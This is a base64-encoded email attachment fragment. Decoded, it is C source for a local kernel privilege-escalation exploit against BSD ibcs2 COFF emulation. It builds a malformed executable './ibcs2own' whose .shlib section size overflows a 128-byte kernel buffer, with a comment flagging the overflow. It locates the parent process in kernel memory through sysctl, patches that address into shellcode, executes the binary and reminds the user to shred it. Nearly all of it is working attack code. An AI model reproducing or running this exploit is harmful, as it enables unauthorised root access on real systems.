RkxHICAgMHgxDQojZGVmaW5lIENPRkZfRl9FWEVDICAgICAweDINCiNkZWZp bmUgQ09GRl9GX0xOTk8gICAgIDB4NA0KI2RlZmluZSBDT0ZGX0ZfTFNZTVMg ICAgMHg4DQojZGVmaW5lIENPRkZfRl9TV0FCRCAgICAweDQwDQojZGVmaW5l IENPRkZfRl9BUjE2V1IgICAweDgwDQojZGVmaW5lIENPRkZfRl9BUjMyV1Ig ICAweDEwMA0KDQovKg0KICogQ09GRiBzeXN0ZW0gaGVhZGVyDQogKi8NCg0K c3RydWN0IGNvZmZfYW91dGhkciB7DQogICAgc2hvcnQgICAgICAgYV9tYWdp YzsNCiAgICBzaG9ydCAgICAgICBhX3ZzdGFtcDsNCiAgICBsb25nICAgICAg ICBhX3RzaXplOw0KICAgIGxvbmcgICAgICAgIGFfZHNpemU7DQogICAgbG9u ZyAgICAgICAgYV9ic2l6ZTsNCiAgICBsb25nICAgICAgICBhX2VudHJ5Ow0K ICAgIGxvbmcgICAgICAgIGFfdHN0YXJ0Ow0KICAgIGxvbmcgICAgICAgIGFf ZHN0YXJ0Ow0KfTsNCg0KLyogbWFnaWMgKi8NCiNkZWZpbmUgQ09GRl9aTUFH SUMgICAgIDA0MTMNCg0KLyoNCiAqIENPRkYgc2VjdGlvbiBoZWFkZXINCiAq Lw0KDQpzdHJ1Y3QgY29mZl9zY25oZHIgew0KICAgIGNoYXIgICAgICAgIHNf bmFtZVs4XTsNCiAgICBsb25nICAgICAgICBzX3BhZGRyOw0KICAgIGxvbmcg ICAgICAgIHNfdmFkZHI7DQogICAgbG9uZyAgICAgICAgc19zaXplOw0KICAg IGxvbmcgICAgICAgIHNfc2NucHRyOw0KICAgIGxvbmcgICAgICAgIHNfcmVs cHRyOw0KICAgIGxvbmcgICAgICAgIHNfbG5ub3B0cjsNCiAgICB1X3Nob3J0 ICAgICBzX25yZWxvYzsNCiAgICB1X3Nob3J0ICAgICBzX25sbm5vOw0KICAg IGxvbmcgICAgICAgIHNfZmxhZ3M7DQp9Ow0KDQovKiBzX2ZsYWdzICovDQoj ZGVmaW5lIENPRkZfU1RZUF9URVhUICAgICAgICAgIDB4MjANCiNkZWZpbmUg Q09GRl9TVFlQX0RBVEEgICAgICAgICAgMHg0MA0KI2RlZmluZSBDT0ZGX1NU WVBfU0hMSUIgICAgICAgICAweDgwMA0KDQoNCnZvaWQgZ2V0X3Byb2MocGlk X3QsIHN0cnVjdCBraW5mb19wcm9jICopOw0Kdm9pZCBzaWdfaGFuZGxlcigp Ow0KDQppbnQNCm1haW4oaW50IGFyZ2MsIGNoYXIgKiphcmd2KQ0Kew0KICB1 X2ludCBpLCBmZCwgZGVidWcgPSAwOw0KICB1X2NoYXIgKnB0ciwgKnNocHRy Ow0KICB1X2xvbmcgKmxwdHI7DQogIHVfbG9uZyBwcHJvY2Fkciwgb2Zmc2V0 Ow0KICBzdHJ1Y3Qga2luZm9fcHJvYyBrcDsNCiAgY2hhciAqYXJnc1tdID0g eyAiLi9pYmNzMm93biIsIE5VTEx9Ow0KICBjaGFyICplbnZzW10gPSB7ICJS SVA9dGhlbyIsIE5VTEx9Ow0KICAvL0NPRkYgc3RydWN0dXJlcw0KICBzdHJ1 Y3QgY29mZl9maWxlaGRyIGZoZHI7DQogIHN0cnVjdCBjb2ZmX2FvdXRoZHIg YWhkcjsNCiAgc3RydWN0IGNvZmZfc2NuaGRyICBzY24wLCBzY24xLCBzY24y Ow0KDQogICBpZihhcmd2WzFdKSB7DQogICAgICBpZighc3RybmNtcChhcmd2 WzFdLCAiLXYiLCAyKSkgDQogICAgICAgICAgICAgIGRlYnVnID0gMTsNCiAg ICAgIGVsc2UgeyANCgkgICAgICBwcmludGYoIi12OiB2ZXJib3NlIGZsYWcg b25seVxuIik7DQoJICAgICAgZXhpdCgwKTsNCiAgICAgICAgICAgIH0NCiAg ICB9DQogDQogICAgWkVSTyhmaGRyKTsNCiAgICBmaGRyLmZfbWFnaWMgPSBD T0ZGX01BR0lDX0kzODY7DQogICAgZmhkci5mX25zY25zID0gMzsgLy9URVhU LCBEQVRBLCBTSExJQg0KICAgIGZoZHIuZl90aW1kYXQgPSAweGRlYWRiZWVm Ow0KICAgIGZoZHIuZl9zeW1wdHIgPSAweDQwMDA7DQogICAgZmhkci5mX25z eW1zID0gMTsNCiAgICBmaGRyLmZfb3B0aGRyID0gc2l6ZW9mKGFoZHIpOyAv L0FPVVQgb3B0IGhlYWRlciBzaXplDQogICAgZmhkci5mX2ZsYWdzID0gQ09G Rl9GX0VYRUM7DQoNCiAgICBaRVJPKGFoZHIpOw0KICAgIGFoZHIuYV9tYWdp YyA9IENPRkZfWk1BR0lDOw0KICAgIGFoZHIuYV90c2l6ZSA9IDA7DQogICAg YWhkci5hX2RzaXplID0gMDsgDQogICAgYWhkci5hX2JzaXplID0gMDsNCiAg ICBhaGRyLmFfZW50cnkgPSAweDEwMDAwOw0KICAgIGFoZHIuYV90c3RhcnQg PSAwOw0KICAgIGFoZHIuYV9kc3RhcnQgPSAwOw0KICAgDQogICAgWkVSTyhz Y24wKTsNCiAgICBtZW1jcHkoJnNjbjAuc19uYW1lLCAiLnRleHQiLCA1KTsN CiAgICBzY24wLnNfcGFkZHIgPSAweDEwMDAwOw0KICAgIHNjbjAuc192YWRk ciA9IDB4MTAwMDA7DQogICAgc2NuMC5zX3NpemUgPSA0MDk2Ow0KICAgIHNj bjAuc19zY25wdHIgPSBzaXplb2YoZmhkcikgKyBzaXplb2YoYWhkcikgKyAo c2l6ZW9mKHNjbjApKjMpOyANCiAgICAvL2ZpbGUgb2Zmc2V0IG9mIC50ZXh0 IHNlZ21lbnQNCiAgICBzY24wLnNfcmVscHRyID0gMDsNCiAgICBzY24wLnNf bG5ub3B0ciA9IDA7DQogICAgc2NuMC5zX25yZWxvYyA9IDA7DQogICAgc2Nu MC5zX25sbm5vID0gMDsNCiAgICBzY24wLnNfZmxhZ3MgPSBDT0ZGX1NUWVBf VEVYVDsNCg0KICAgIFpFUk8oc2NuMSk7DQogICAgbWVtY3B5KCZzY24xLnNf bmFtZSwgIi5kYXRhIiwgNSk7DQogICAgc2NuMS5zX3BhZGRyID0gMHgxMDAw MCAtIDQwOTY7DQogICAgc2NuMS5zX3ZhZGRyID0gMHgxMDAwMCAtIDQwOTY7 DQogICAgc2NuMS5zX3NpemUgPSA0MDk2Ow0KICAgIHNjbjEuc19zY25wdHIg PSBzaXplb2YoZmhkcikgKyBzaXplb2YoYWhkcikgKyAoc2l6ZW9mKHNjbjAp KjMpICsgNDA5NjsgDQogICAgLy9maWxlIG9mZnNldCBvZiAuZGF0YSBzZWdt ZW50DQogICAgc2NuMS5zX3JlbHB0ciA9IDA7DQogICAgc2NuMS5zX2xubm9w dHIgPSAwOw0KICAgIHNjbjEuc19ucmVsb2MgPSAwOw0KICAgIHNjbjEuc19u bG5ubyA9IDA7DQogICAgc2NuMS5zX2ZsYWdzID0gQ09GRl9TVFlQX0RBVEE7 DQoNCiAgICBaRVJPKHNjbjIpOw0KICAgIG1lbWNweSgmc2NuMi5zX25hbWUs ICIuc2hsaWIiLCA2KTsNCiAgICBzY24yLnNfcGFkZHIgPSAwOw0KICAgIHNj bjIuc192YWRkciA9IDA7DQogICAgc2NuMi5zX3NpemUgPSAweGIwOyAvL0hF UkUgSVMgREEgT1ZGISEhIHN0YXRpY19idWZmZXIgPSAxMjgNCiAgICBzY24y LnNfc2NucHRyID0gc2l6ZW9mKGZoZHIpICsgc2l6ZW9mKGFoZHIpICsgKHNp emVvZihzY24wKSozKSArIDIqNDA5NjsgDQogICAgLy9maWxlIG9mZnNldCBv ZiAuZGF0YSBzZWdtZW50DQogICAgc2NuMi5zX3JlbHB0ciA9IDA7DQogICAg c2NuMi5zX2xubm9wdHIgPSAwOw0KICAgIHNjbjIuc19ucmVsb2MgPSAwOw0K ICAgIHNjbjIuc19ubG5ubyA9IDA7DQogICAgc2NuMi5zX2ZsYWdzID0gQ09G Rl9TVFlQX1NITElCOw0KDQogICAgb2Zmc2V0ID0gc2l6ZW9mKGZoZHIpICsg c2l6ZW9mKGFoZHIpICsgKHNpemVvZihzY24wKSozKSArIDMqNDA5NjsNCiAg ICBwdHIgPSAoY2hhciAqKSBtYWxsb2Mob2Zmc2V0KTsNCiAgICBpZighcHRy KSB7IA0KCQlwZXJyb3IoIm1hbGxvYyIpOw0KCQlleGl0KC0xKTsNCiAgICB9 DQoNCiAgICBtZW1zZXQocHRyLCAweGNjLCBvZmZzZXQpOyAgLyogZmlsbCBp bnQzICovDQoNCiAgICAvKiBjb3B5IHNlY3Rpb25zICovDQogICAgb2Zmc2V0 ID0gMDsNCiAgICBtZW1jcHkocHRyLCAoY2hhciAqKSAmZmhkciwgc2l6ZW9m KGZoZHIpKTsNCiAgICBvZmZzZXQgKz0gc2l6ZW9mKGZoZHIpOw0KDQogICAg bWVtY3B5KHB0citvZmZzZXQsIChjaGFyICopICZhaGRyLCBzaXplb2YoYWhk cikpOyANCiAgICBvZmZzZXQgKz0gc2l6ZW9mKGFoZHIpOw0KCQ0KICAgIG1l bWNweShwdHIrb2Zmc2V0LCAoY2hhciAqKSAmc2NuMCwgc2l6ZW9mKHNjbjAp KTsNCiAgICBvZmZzZXQgKz0gc2l6ZW9mKHNjbjApOw0KDQogICAgbWVtY3B5 KHB0citvZmZzZXQsICZzY24xLCBzaXplb2Yoc2NuMSkpOw0KICAgIG9mZnNl dCArPSBzaXplb2Yoc2NuMSk7DQoNCiAgICBtZW1jcHkocHRyK29mZnNldCwg KGNoYXIgKikgJnNjbjIsIHNpemVvZihzY24yKSk7DQogICAgb2Zmc2V0ICs9 IHNpemVvZihzY24yKTsNCg0KICAgIGxwdHIgPSAodV9sb25nICopICgoY2hh ciAqKXB0ciArIHNpemVvZihmaGRyKSArIHNpemVvZihhaGRyKSArIFwNCiAg ICAgICAgICAgKHNpemVvZihzY24wKSAqIDMpICsgNDA5NiArIDQwOTYgKyAw eGIwIC0gOCk7DQoNCiAgICBzaHB0ciA9IChjaGFyICopIG1hbGxvYyg0MDk2 KTsNCiAgICBpZighc2hwdHIpIHsNCgkJcGVycm9yKCJtYWxsb2MiKTsNCgkJ ZXhpdCgtMSk7DQogICAgfQ0KICAgIGlmKGRlYnVnKQ0KICAgICAgcHJpbnRm KCJwYXlsb2FkIGFkcjogMHglLjh4XHQiLCBzaHB0cik7DQoNCiAgICBtZW1z ZXQoc2hwdHIsIDB4Y2MsIDQwOTYpOw0KDQogICAgZ2V0X3Byb2MoKHBpZF90 KSBnZXRwcGlkKCksICZrcCk7DQogICAgcHByb2NhZHIgPSAodV9sb25nKSBr cC5rcF9lcHJvYy5lX3BhZGRyOw0KICAgIGlmKGRlYnVnKQ0KICAgICAgcHJp bnRmKCJwYXJlbnQgcHJvYyBhZHI6IDB4JS44eFxuIiwgcHByb2NhZHIpOyAN Cg0KICAgICpscHRyKysgPSAweGRlYWRiZWVmOw0KICAgICpscHRyID0gKHVf bG9uZykgc2hwdHI7DQoNCiAgICBzaGVsbGNvZGVbNV0gPSBwcHJvY2FkciAm IDB4ZmY7DQogICAgc2hlbGxjb2RlWzZdID0gKHBwcm9jYWRyID4+IDgpICYg MHhmZjsNCiAgICBzaGVsbGNvZGVbN10gPSAocHByb2NhZHIgPj4gMTYpICYg MHhmZjsNCiAgICBzaGVsbGNvZGVbOF0gPSAocHByb2NhZHIgPj4gMjQpICYg MHhmZjsNCg0KICAgIG1lbWNweShzaHB0ciwgc2hlbGxjb2RlLCBzaXplb2Yo c2hlbGxjb2RlKS0xKTsNCg0KICAgIHVubGluaygiLi9pYmNzMm93biIpOw0K ICAgIGlmKChmZCA9IG9wZW4oIi4vaWJjczJvd24iLCBPX0NSRUFUXk9fUkRX UiwgMDc1NSkpIDwgMCkgew0KCQlwZXJyb3IoIm9wZW4iKTsNCgkJZXhpdCgt MSk7DQoJfQ0KDQogICAgd3JpdGUoZmQsIHB0ciwgc2l6ZW9mKGZoZHIpICsg c2l6ZW9mKGFoZHIpICsgKHNpemVvZihzY24wKSAqIDMpICsgNDA5NiArIDQw OTYgKyA0MDk2KTsNCiAgICBjbG9zZShmZCk7DQogICAgZnJlZShwdHIpOw0K DQogICAgc2lnbmFsKFNJR1NFR1YsICh2b2lkICgqKSgpKXNpZ19oYW5kbGVy KTsNCiAgICBzaWduYWwoU0lHSUxMLCAodm9pZCAoKikoKSlzaWdfaGFuZGxl cik7DQogICAgc2lnbmFsKFNJR1NZUywgKHZvaWQgKCopKCkpc2lnX2hhbmRs ZXIpOw0KICAgIHNpZ25hbChTSUdCVVMsICh2b2lkICgqKSgpKXNpZ19oYW5k bGVyKTsNCiAgICBzaWduYWwoU0lHQUJSVCwgKHZvaWQgKCopKCkpc2lnX2hh bmRsZXIpOw0KICAgIHNpZ25hbChTSUdUUkFQLCAodm9pZCAoKikoKSlzaWdf aGFuZGxlcik7DQoNCiAgICBwcmludGYoIlxuRE8gTk9UIEZPUkdFVCBUTyBT SFJFRCAuL2liY3Myb3duXG4iKTsNCiAgICBleGVjdmUoYXJnc1swXSwgYXJn cywgZW52cyk7DQogICAgcGVycm9yKCJleGVjdmUiKTsNCn0NCg0Kdm9pZA0K c2lnX2hhbmRsZXIoKQ0Kew0KICAgX2V4aXQoMCk7DQp9DQoNCnZvaWQNCmdl dF9wcm9jKHBpZF90IHBpZCwgc3RydWN0IGtpbmZvX3Byb2MgKmtwKQ0Kew0K ICAgdV9pbnQgYXJyWzRdLCBsZW47DQoNCiAgICAgICAgYXJyWzBdID0gQ1RM X0tFUk47DQogICAgICAgIGFyclsxXSA9IEtFUk5fUFJPQzsNCiAgICAgICAg YXJyWzJdID0gS0VSTl9QUk9DX1BJRDsNCiAgICAgICAgYXJyWzNdID0gcGlk Ow0KICAgICAgICBsZW4gPSBzaXplb2Yoc3RydWN0IGtpbmZvX3Byb2MpOw0K ICAgICAgICBpZihzeXNjdGwoYXJyLCA0LCBrcCwgJmxlbiwgTlVMTCwgMCkg PCAwKSB7DQogICAgICAgICAgICAgICAgcGVycm9yKCJzeXNjdGwiKTsNCiAg ICAgICAgICAgICAgICBmcHJpbnRmKHN0ZGVyciwgInRoaXMgaXMgYW4gdW5l eHBlY3RlZCBlcnJvciwgcmVydW4hXG4iKTsNCiAgICAgICAgICAgICAgICBl eGl0KC0xKTsNCiAgICAgICAgfQ0KDQp9DQoNCg== ---559023410-851401618-1069180443=:685--